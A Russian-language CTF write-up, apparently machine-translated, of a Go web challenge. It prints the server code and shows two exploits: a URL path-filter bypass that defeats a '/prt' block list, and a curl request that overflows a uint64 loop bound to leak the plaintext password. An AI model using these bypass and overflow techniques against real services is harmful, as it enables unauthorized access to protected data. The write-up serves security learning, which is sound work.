Введение и разведка

Недавно я объединился с некоторыми из моих канадских друзей для небольшого 24-часового CTF, где мы обнаружили, что это испытание Hello World указано как среднее испытание. Что меня заинтересовало в этом, так это то, что он имел дело с Голангом, моим любимым. Итак, давайте погрузимся и посмотрим, в чем заключалась эта задача.

Задача просит вас ввести пароль для получения флага, что достаточно просто. Если мы посмотрим вверху, там есть кнопка восстановления пароля. Мы идем туда дальше.

Итак, похоже, что эта страница генерирует хешированную версию пароля. Пришло время провести дополнительную разведку и посмотреть, что к чему.

Первое, на что я посмотрел, был robots.txt, в котором была запись о запрете для /storage/ опрятно, если я зайду туда, это будет простой список каталогов со следующим содержимым:

golang  - Ascii image of Go logo
main.go - Go server file
prt/    - Access Denied (Password Recovery Tool)
todo    - "learn more go"

Круто, мы получили доступ к части кода go, работающего на этом сервере. Но не все, похоже, что /storage/prt содержит все остальное

main.go

package main
import (
	"fmt"
	"os"
	"strings"
	"main/prt"
	"net/http"
	"html/template"
)
const storagePath = "/storage"
const recoverPath = "/recover"
type secureFS struct {
	http.FileSystem
}
func (fs secureFS) Open(name string) (http.File, error) {
	file, err := fs.FileSystem.Open(RemovePrefix(storagePath,name))
	if err != nil {
		return nil, err
	}
	return file, err
}
func RemovePrefix(p, s string) (o string) {
	o = strings.ReplaceAll(s, p, "")
	if len(o) == 0 {
		return "/"
	}
	return
}
func BlockAccess(p string) bool {
	blocked := []string{
		"/prt",
	}
	return ContainsOneOf(p, blocked)
}
func ContainsOneOf(s string, arr []string) bool {
	for _, c := range arr {
		if strings.Contains(s, c) {
			return true
		}
	}
	return false
}
func main() {
	var base_path string
	if len(os.Args) < 2 {
		fmt.Println("Use ./server <files path>")
	} else {
		base_path = os.Args[1]
	}
	templates := template.Must(template.ParseGlob(base_path+"/templates/*"))
	fs := secureFS{http.Dir(base_path+storagePath)}
	mux := http.NewServeMux()
	mux.Handle(storagePath+"/", http.FileServer(fs))
	mux.Handle(recoverPath, prt.NewPasswordRecoveryTool(os.Getenv("LOGINPASSWORD"), 1, templates))
	mux.HandleFunc("/robots.txt", func(w http.ResponseWriter, r *http.Request) {
		templates.ExecuteTemplate(w, "robots.txt", nil)
	})
	mux.HandleFunc("/", func(w http.ResponseWriter, r*http.Request) {
		fmt.Println("Received " + r.URL.Path)
		if r.URL.Path != "/" {
			http.Redirect(w,r,"/",http.StatusSeeOther)
			return
		}
		switch r.Method {
		case "GET":
			templates.ExecuteTemplate(w, "login.html", nil)
			return
		case "POST":
			err := r.ParseForm()
			if err != nil {
				http.Error(w, err.Error(), http.StatusBadRequest)
				return
			}
			if r.FormValue("pwd") == os.Getenv("LOGINPASSWORD") {
				templates.ExecuteTemplate(w, "login.html", os.Getenv("CTFFLAG"))
			} else {
				templates.ExecuteTemplate(w, "login.html", "Access Denied.")
			}
			return
	}})
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		if BlockAccess(r.URL.Path) {
			http.Error(w, "Access Denied.", http.StatusForbidden)
			return
		}
		mux.ServeHTTP(w,r)
	})
	port := "8080"
	fmt.Println("Hosting on port", port)
	err := http.ListenAndServe(":"+port, nil)
	fmt.Println("Server crashed", err)
}

Vuln #1 — Обход фильтра на стороне сервера

Проведя мозговой штурм и посмотрев, что к чему, я решил, что первая уязвимость, вероятно, находится в коде, который блокирует доступ к каталогу /storage/prt. Итак, давайте посмотрим только на этот код:

const storagePath = "/storage"
func (fs secureFS) Open(name string) (http.File, error) {
	// Removes /storage from the URL
	file, err := fs.FileSystem.Open(RemovePrefix(storagePath,name))
	if err != nil {
		return nil, err
	}
	return file, err
}
func RemovePrefix(p, s string) (o string) {
	o = strings.ReplaceAll(s, p, "")
	if len(o) == 0 {
		return "/"
	}
	return
}
func BlockAccess(p string) bool {
	blocked := []string{
		// If the url contains /prt AT ALL block access to it
		"/prt",
	}
	return ContainsOneOf(p, blocked)
}
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		if BlockAccess(r.URL.Path) {
			http.Error(w, "Access Denied.", http.StatusForbidden)
			return
		}
		mux.ServeHTTP(w,r)
	})

Попробовав базовый обход пути и замену символа /, я решил немного подумать над этим и изучить приведенный выше код. Если мы посмотрим внимательно, то увидим, что код blockAccess происходит первым, а затем он передается второму обработчику http, который удалит определенные префиксы. Как префикс хранилища.

Итак, если бы я попытался перейти по такому URL-адресу:

http://challenges.ctfd.io:30537/storage/pr/storaget/

Мы получаем успешный листинг каталога!

Так как blockAccess происходит раньше всего, он не видит точного совпадения для «/prt», и когда следующий обработчик удаляет «/storage», мы получаем правильный путь к каталогу prt! Что еще более важно код для восстановления пароля!

Vuln #2 — Целочисленное переполнение без знака

Давайте загрузим себе какой-нибудь инструмент для восстановления пароля и приступим к работе.

prt.go

package prt
import (
	"crypto/sha256"
	"encoding/hex"
	"net/http"
	"strconv"
	"html/template"
)
type PasswordRecoveryTool struct {
	Password []byte
	Minimum uint64
	templates *template.Template
}
func NewPasswordRecoveryTool(s string, minimum uint64, tmpl *template.Template) *PasswordRecoveryTool {
	return &PasswordRecoveryTool{[]byte(s), minimum, tmpl}
}
func (prt PasswordRecoveryTool) hashPassword(extraTimes uint64) string {
	tmp := prt.Password
	var hash [32]byte
	for x := prt.Minimum; x <= prt.Minimum + extraTimes && x <= 30; x++ {
		hash = sha256.Sum256(tmp)
		tmp = hash[:]
	}
	return hex.EncodeToString(tmp)
}
func (prt PasswordRecoveryTool) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	err := r.ParseForm()
	if err 	!= nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	extra, err := strconv.ParseUint(r.FormValue("x"), 10, 64)
	if err != nil {
		extra = 0
	}
	h := prt.hashPassword(extra)
	prt.templates.ExecuteTemplate(w,"recover.html", h)
        return
}

Теперь, какого черта существует значение формы, связанное с хешированием пароля? вот на чем я должен сосредоточить свои усилия.

Сначала я пытался использовать отрицательные числа, потому что не понимал, что это целое число без знака, потому что я слишком волнуюсь, когда делаю успехи, и хочу сделать это как можно быстрее. А еще я тупой :)

В дополнение к отрицательному числу я пробовал слова, специальные символы и т. д. и т. д., чтобы, возможно, вызвать какую-то ошибку. Но, увы, он всегда будет возвращать один и тот же хешированный пароль.

В этот момент я решил, что, поскольку у меня есть весь код, я просто запущу его на своем компьютере, чтобы я мог отладить его с помощью GoLand, чтобы пройти и посмотреть, что к чему.

В этот момент я сделал небольшой перерыв, чтобы пообедать и провести мозговой штурм, как я могу убедить сервер предоставить мне нехешированный пароль. Я подумал о том, какие типы данных (uint64) использовались для пользовательского ввода и как они используются в коде.

Примечание: знаете ли вы, что максимально возможное значение uint64 равно 18 446 744 073 709 551 615? Это интересно, потому что наши значения - uint64, и в нашем случае использования 2 uint64 складываются вместе :), поэтому, если я передам значение, оно не сможет правильно вычислить, оно просто вернет пароль в шестнадцатеричной форме и просто пропустит цикл for в функция хэш-пароля

Я посылаю его с этим завитком

curl --request POST \\
  --url <http://challenges.ctfd.io:30537/recover> \\
  --header 'Content-Type: application/x-www-form-urlencoded' \\
  --data x=18446744073709551615 \\
  --data =

Ответ на шестнадцатеричный пароль :D

Преобразование шестнадцатеричного кода в ascii дает нам в результате следующее: WowDidYouReallyCrackThisPassword да, это похоже на стандартный пароль CTF! Пройдемся по нему в админке и посмотрим, получим ли мы флаг.

Посмотри на это! Идеально!

Ретроспектива

Это было довольно легкое испытание, но было весело, так как это была первая CTF, которую я сделал за несколько месяцев. Мне нравятся задачи, в которых вы читаете код и извлекаете из него уязвимость. Это упрощает задачу, но приятно видеть мыслительный процесс, стоящий за блокировкой уязвимостей безопасности.

Если у вас есть какие-либо вопросы или комментарии о том, как я это сделал, не стесняйтесь обращаться ко мне!